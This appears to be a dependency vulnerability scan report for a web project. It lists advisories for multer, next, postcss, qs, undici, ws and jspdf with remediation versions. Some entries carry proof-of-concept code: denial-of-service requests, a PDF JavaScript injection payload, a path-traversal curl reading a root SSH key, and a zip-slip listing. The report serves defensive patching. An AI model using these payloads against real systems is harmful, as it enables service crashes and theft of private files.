high severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.

PoC

const express = require('express')
const multer  = require('multer')
const http  = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888

const app = express()

app.post('/upload', upload.single('file'), function (req, res) {
  res.send({})
})

app.listen(port, () => {
  console.log(`Listening on port ${port}`)

  const boundary = 'AaB03x'
  const body = [
    '--' + boundary,
    'Content-Disposition: form-data; name="file"; filename="test.txt"',
    'Content-Type: text/plain',
    '',
    'test without end boundary'
  ].join('\r\n')
  const options = {
    hostname: 'localhost',
    port,
    path: '/upload',
    method: 'POST',
    headers: {
      'content-type': 'multipart/form-data; boundary=' + boundary,
      'content-length': body.length,
    }
  }
  const req = http.request(options, (res) => {
    console.log(res.statusCode)
  })
  req.on('error', (err) => {
    console.error(err)
  })
  req.write(body)
  req.end()
})

Remediation

Upgrade multer to version 2.0.0 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.

Remediation

Upgrade multer to version 2.0.2 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: multer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion. An attacker can cause the application to crash or become unresponsive by sending malformed requests that trigger uncontrolled recursion, potentially leading to a stack overflow.

Remediation

Upgrade multer to version 2.1.1 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: multer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via deeply nested field names in multipart form data. An attacker can exhaust CPU and memory resources by sending a single HTTP request with a crafted multipart body containing excessively nested field names.

Workaround

This vulnerability can be mitigated by setting the limits.fields option to a reasonable value to reduce the number of fields an attacker can send per request. This does not fully mitigate the issue but limits the impact.

Remediation

Upgrade multer to version 2.2.0, 3.0.0-alpha.2 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.2.9.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the decoding reply functions of React Flight protocol. An attacker can cause server crashes, out-of-memory exceptions, or excessive CPU usage by sending specially crafted HTTP requests to Server Function endpoints.

Notes:

  • This issue is a result of an incomplete fix for CVE-2025-55184
  • If your app’s React code does not use a server, your app is not affected by these vulnerabilities.
  • If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by these vulnerabilities.

Remediation

Upgrade next to version 15.0.8, 15.1.12, 15.2.9, 15.3.9, 15.4.11, 15.5.10, 15.6.0-canary.61, 16.0.11, 16.1.5, 16.2.0-canary.9 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.15.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the createMap, createSet, and extractIterator functions in packages/react-server/src/ReactFlightReplyServer.js. An attacker can crash the server by supplying a model that contains cyclic reference and is consumed more than once during React Server Components decoding. The repeated consumption triggers an exception during reply processing, breaking rendering for requests that handle attacker-controlled Flight payloads.

Remediation

Upgrade next to version 15.5.15, 16.2.3 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via server function endpoints. An attacker can cause out-of-memory exceptions or induce excessive CPU usage by sending malicious FormData in an HTTP request.

Note: Only React apps that use React Server Components are vulnerable.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling involving Partial Prerendering in the Cache Components feature. An attacker can exhaust the connection pool by sending malicious POST requests that cause a deadlock. This, in turn, causes connections to be left open and consumes file descriptors and server capacity.

Workaround

This vulnerability can be mitigated by blocking requests containing the next-resume header at the edge.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity

Authentication Bypass Using an Alternate Path or Channel

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel in the handling of segment-prefetch routes. An attacker can gain unauthorized access to protected content by crafting .rsc and segment-prefetch URLs that bypass intended authorization checks in middleware or proxy-based configurations.

Notes:

  • This is only exploitable if authorization is enforced solely through middleware or proxy checks, and not within the underlying route or page logic.
  • This fix is incomplete and does not cover middleware.ts with Turbopack enabled. For additional details see CVE-2026-45109

Workaround

This vulnerability can be mitigated by enforcing authorization within the underlying route or page logic rather than relying solely on middleware.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity

Authentication Bypass Using an Alternate Path or Channel

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.18.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via the middleware.ts with Turbopack enabled. An attacker can gain unauthorized access to protected resources by bypassing authentication mechanisms through specially crafted segment-prefetch routes.

Note: This vulnerability relates to the incomplete fix of CVE-2026-44575

Remediation

Upgrade next to version 15.5.18, 16.2.6 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: next
  • Introduced through: next@15.2.6

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.2.7.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to unsafe deserialization of payloads from HTTP requests to Server Function endpoints. An attacker can cause the server process to enter an infinite loop and hang, preventing it from serving future HTTP requests by sending specially crafted payloads.

Notes:

Even if your app does not implement any React Server Function endpoints it may still be vulnerable if your app supports React Server Components.

If your app’s React code does not use a server, your app is not affected by these vulnerabilities. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by these vulnerabilities.

For React Native users not using a monorepo or react-dom, your react version should be pinned in your package.json, and there are no additional steps needed.

If you are using React Native in a monorepo, you should update only the impacted packages if they are installed: react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack. This is required to mitigate the security advisories, but you do not need to update react and react-dom so this will not cause the version mismatch error in React Native. See this issue for more information.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade next to version 14.2.34, 15.0.6, 15.1.10, 15.2.7, 15.3.7, 15.4.9, 15.5.8, 16.0.9, 16.1.0-canary.19 or higher.

References

high severity
new

Directory Traversal

  • Vulnerable module: postcss
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6 postcss@8.4.31
    Remediation: Upgrade to next@16.3.0.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11 postcss@8.4.31

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal via the process function. An attacker can access arbitrary files and obtain the first ~10 bytes of their contents by supplying a crafted sourceMappingURL comment in CSS input, which is parsed and dereferenced without proper validation. This can lead to disclosure of sensitive information, confirmation of file existence, and potential denial of service by targeting large or special files.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade postcss to version 8.5.12 or higher.

References

high severity
new

Directory Traversal

  • Vulnerable module: postcss
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6 postcss@8.4.31
    Remediation: Upgrade to next@16.3.0.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11 postcss@8.4.31
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 postcss@8.5.12

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal via the loadMap process. An attacker can access the contents of arbitrary .map files on the filesystem by submitting crafted CSS containing a sourceMappingURL comment with a path traversal or absolute path, which is then loaded and its content merged into the resulting source map returned by the process.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade postcss to version 8.5.18 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express@4.21.2 qs@6.13.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express@4.21.2 qs@6.13.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express@4.21.2 body-parser@1.20.3 qs@6.13.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express@4.21.2 body-parser@1.20.3 qs@6.13.0

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC


const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handling of WebSocket message fragments. An attacker can cause unbounded memory growth and exhaust system resources by streaming a large number of small or empty continuation frames from a malicious WebSocket server.

Remediation

Upgrade undici to version 6.26.0, 7.28.0, 8.5.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the PerMessageDeflate.decompress() method of the permessage-deflate extension. An attacker can cause excessive memory usage by sending specially crafted compressed WebSocket frames that decompress to a very large size, potentially leading to process crashes or unresponsiveness.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Uncaught Exception through improper validation of the server_max_window_bits parameter in the permessage-deflate extension. An attacker can cause the process to terminate unexpectedly by sending a maliciously crafted value outside the valid range, which triggers an unhandled exception when the client attempts to create a zlib InflateRaw instance.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

high severity

Asymmetric Resource Consumption (Amplification)

  • Vulnerable module: ws
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/anthropic-claude@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/openai@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-client@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 socket.io-client@4.7.5 engine.io-client@6.5.4 ws@8.17.1

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames

Workaround

This vulnerability can be mitigated by lowering the value of the maxPayload option.

PoC

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.

References

high severity

Improper Encoding or Escaping of Output

  • Vulnerable module: jspdf
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 jspdf@4.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 jspdf@4.1.0

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the addJS method. An attacker can inject arbitrary PDF objects and execute malicious actions or alter the document structure by supplying specially crafted input that escapes the JavaScript string delimiter. This can impact any user who opens the generated PDF.

Workaround

This vulnerability can be mitigated by escaping parentheses in user-provided JavaScript code before passing them to the addJS method.

PoC

import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";

doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");

Remediation

Upgrade jspdf to version 4.2.0 or higher.

References

high severity

Improper Encoding or Escaping of Output

  • Vulnerable module: jspdf
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 jspdf@4.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 jspdf@4.1.0

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the appearanceState property of the AcroForm module. An attacker can execute arbitrary JavaScript code in the context of the PDF viewer by injecting malicious input into this property, which is then triggered when a victim interacts with a crafted PDF file.

Workaround

